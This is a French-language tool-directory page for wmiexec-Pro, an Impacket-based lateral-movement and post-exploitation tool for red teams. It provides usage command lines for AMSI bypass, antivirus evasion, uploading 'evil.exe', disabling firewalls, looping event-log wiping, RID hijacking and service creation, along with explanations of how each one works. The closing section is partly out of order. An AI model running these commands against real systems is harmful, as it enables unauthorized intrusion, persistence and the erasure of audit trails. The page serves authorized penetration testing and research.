Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/xiaolichan/wmiexec-pro
Privilege EscalationPersistence MechanismsLateral MovementInformation GatheringPost-ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubxiaolichan/wmiexec-pro

wmiexec-Pro

New generation of wmiexec.py

Voir le dépôt
1.3k151il y a 3 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

wmiexec-Pro

Nouvelle génération de wmiexec.py.

Table des matières

  1. Informations
  2. Remerciements spéciaux
  3. Fonctionnalités
  4. Pour commencer
    • Installation
  5. Utilisation
  6. Captures d'écran
  7. Comment ça fonctionne ?
  8. Avertissement
  9. Références

Informations

La nouvelle génération de wmiexec.py, avec plus de nouvelles fonctionnalités. Toutes les opérations fonctionnent uniquement avec le port 135 (pas besoin de connexion SMB) pour l'évasion antivirus lors des mouvements latéraux (Windows Defender, HuoRong, 360)

(retour en haut)

Remerciements spéciaux

@422926799

(retour en haut)

Fonctionnalités

  • Fonctionnalité principale : évasion antivirus
  • Fonctionnalité principale : win32_process n'est pas nécessaire
  • Fonctionnalité principale : seul le port 135 est nécessaire.
  • Nouveau module : contournement AMSI
  • Nouveau module : transfert de fichiers
  • Nouveau module : activation à distance du RDP via la méthode de classe WMI
  • Nouveau module : abus du pare-feu Windows
  • Nouveau module : nettoyage en boucle des journaux d'événements
  • Nouveau module : activation à distance de WinRM sans toucher à CMD
  • Nouveau module : gestionnaire de services
  • Nouveau module : détournement de RID
  • Amélioration : récupération de la sortie d'exécution des commandes d'une nouvelle manière
  • Amélioration : exécution de fichiers VBS

(retour en haut)

Pour commencer

Installation

Seule la dernière version d'Impacket est nécessaire

  1. Clonez le dépôt impacket
    root@kitploit:~
    git clone https://github.com/fortra/impacket
  2. Installez impacket
    root@kitploit:~
    cd impacket && sudo pip3 install .
  3. Profitez-en :)
    root@kitploit:~
    git clone https://github.com/XiaoliChan/wmiexec-Pro

(retour en haut)

Utilisation

root@kitploit:~
python3 wmiexec-pro.py [[domain/]username[:password]@]<targetName or address> module -h

Basic enumeration:
   python3 wmiexec-pro.py administrator:[email protected] enum -run

Enable/disable amsi bypass:
   python3 wmiexec-pro.py administrator:[email protected] amsi -enable
   python3 wmiexec-pro.py administrator:[email protected] amsi -disable

Execute command:
   python3 wmiexec-pro.py administrator:[email protected] exec-command -shell (Launch a semi-interactive shell)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" (Default is with output mode)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -silent (Silent mode)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -silent -old (Slient mode in old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -old (With output in old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -save (With output and save output to file)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -old -save
   python3 wmiexec-pro.py administrator:[email protected] exec-command -clear (Remove temporary class for command result storage)
   
Filetransfer:
   python3 wmiexec-pro.py administrator:[email protected] filetransfer -upload -src-file "./evil.exe" -dest-file "C:\windows\temp\evil.exe" (Upload file over 512KB)
   python3 wmiexec-pro.py administrator:[email protected] filetransfer -download -src-file "C:\windows\temp\evil.exe" -dest-file "/tmp/evil.exe" (Download file over 512KB)
   python3 wmiexec-pro.py administrator:[email protected] filetransfer -clear (Remove temporary class for file transfer)
   
RDP:
   python3 wmiexec-pro.py administrator:[email protected] rdp -enable (Auto configure firewall)
   python3 wmiexec-pro.py administrator:[email protected] rdp -enable -old (For old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] rdp -enable-ram (Enable Restricted Admin Mode for PTH, not support old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] rdp -disable
   python3 wmiexec-pro.py administrator:[email protected] rdp -disable -old (For old version OS, such as server 2003, not support old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] rdp -disable-ram (Disable Restricted Admin Mode)

WinRM (Only support win7+):
   python3 wmiexec-pro.py administrator:[email protected] winrm -enable
   python3 wmiexec-pro.py administrator:[email protected] winrm -disable

Firewall (Only support win8+):
   python3 wmiexec-pro.py administrator:[email protected] firewall -search-port 445
   python3 wmiexec-pro.py administrator:[email protected] firewall -dump (Dump all firewall rules)
   python3 wmiexec-pro.py administrator:[email protected] firewall -rule-id (ID from search port) -action [enable/disable/remove] (enable, disable, remove specify rule)
   python3 wmiexec-pro.py administrator:[email protected] firewall -firewall-profile enable (Enable all firewall profiles)
   python3 wmiexec-pro.py administrator:[email protected] firewall -firewall-profile disable (Disable all firewall profiles)
   
Services:
   python3 wmiexec-pro.py administrator:[email protected] service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe'
   python3 wmiexec-pro.py administrator:[email protected] service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe' -class "Win32_TerminalService" (Create service via alternative class)
   python3 wmiexec-pro.py administrator:[email protected] service -action start -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action stop -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action disable -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action auto-start -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action manual-start -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action getinfo -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action delete -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -dump all-services.json

Eventlog:
   python3 wmiexec-pro.py administrator:[email protected] eventlog -risk-i-know (Looping cleaning eventlog)
   python3 wmiexec-pro.py administrator:[email protected] eventlog -retrive object-ID (Stop looping cleaning eventlog)

RID Hijack:
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action grant (Grant access permissions for SAM/SAM subkey in registry)
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action grant-old (For old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action activate (Activate user)
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action deactivate (Deactivate user)
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action hijack -user 501 -hijack-rid 500 (Hijack guest user rid 501 to administrator rid 500)
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -blank-pass-login enable (Enable blank password login)
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -blank-pass-login disable
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 500 -action backup (This will save user profile data as json file)
   python3 wmiexec-pro.py [email protected] -no-pass rid-hijack -user 500 -remove (Use guest user remove administrator user profile after rid hijacked)
   python3 wmiexec-pro.py [email protected] -no-pass rid-hijack -restore "backup.json" (Restore user profile for target user)

(retour en haut)

Captures d'écran

  • Aide

  • exec-command

  • filetransfer

    • téléversement de fichier

    • téléchargement de fichier

(retour en haut)

Comment ça fonctionne ?

  • Module AMSI :

    • Technique de Tal-Liberman issue du Black Hat Asia 2018.

  • Module exec-command :

    • Amélioration du projet précédent : wmiexec-RegOut, récupère la sortie de la classe WMI au lieu du registre.

  • Module filetransfer :

    • Pour le téléversement : encode le fichier source en chaînes base64 dans le dropper nommé WriteFile.vbs, puis crée une nouvelle instance de l'objet ActiveScriptEventConsumer pour exécuter le dropper.
    • Pour le téléchargement : crée à distance une classe pour stocker les données, puis exécute l'encodeur LocalFileIntoClass.vbs pour encoder le fichier et stocker les données dans la classe qui vient d'être créée.

  • Module rdp :

    • Pour l'activation/la désactivation : services RDP : contrôle directement l'objet TerminalServices.
    • Pour l'activation/la désactivation du mode administrateur restreint : contrôle la clé de registre DisableRestrictedAdmin via la classe StdRegProv.

  • Module winrm :

    • Pour l'activation/la désactivation : invoque le module service.
    • Pour les règles de pare-feu : utilise le module firewall.py pour configurer le pare-feu de WinRM.

  • Module firewall :

    • Abus des classes , , .

(retour en haut)

Avertissement

L'esprit de cette initiative open source est d'aider les chercheurs en sécurité, ainsi que la communauté, à accélérer les activités de recherche et d'enseignement liées à l'implémentation des protocoles et des piles réseau.

Les informations contenues dans ce dépôt sont destinées à des fins de recherche et d'enseignement et ne sont pas destinées à être utilisées dans des environnements de production et/ou dans le cadre de produits commerciaux.

Si vous souhaitez utiliser ce code ou une partie de celui-ci pour vos propres besoins, nous vous recommandons d'appliquer un cycle de développement sécurisé et des pratiques de codage sécurisées, ainsi que de générer et de suivre les indicateurs de compromission correspondants selon vos besoins.

(retour en haut)

Références

  • GhostPack/SharpWMI
  • impacket
  • WMIHACKER
  • Documentation WMI Microsoft
  • Documentation Microsoft VBScripts

(retour en haut)

Télécharger l’outil
MSFT_NetProtocolPortFilter
MSFT_NetFirewallRule
MSFT_NetFirewallProfile

  • Module service :

    • Abus des classes Win32_Service.

  • Module eventlog :

    • Exécute le script VBS ClearEventlog.vbs sans supprimer event et consumer.

  • Module execute-vbs :

    • Extrait de wmipersist.py.

  • Méthode classMethodEx :

    • Pour créer une classe : exécute le script VBS CreateClass.vbs pour créer une classe simple. (Pourquoi ? Aucune idée de comment utiliser la méthode PutClass dans impacket.)
    • Pour supprimer une classe : appelle la méthode DeleteClass pour supprimer la classe.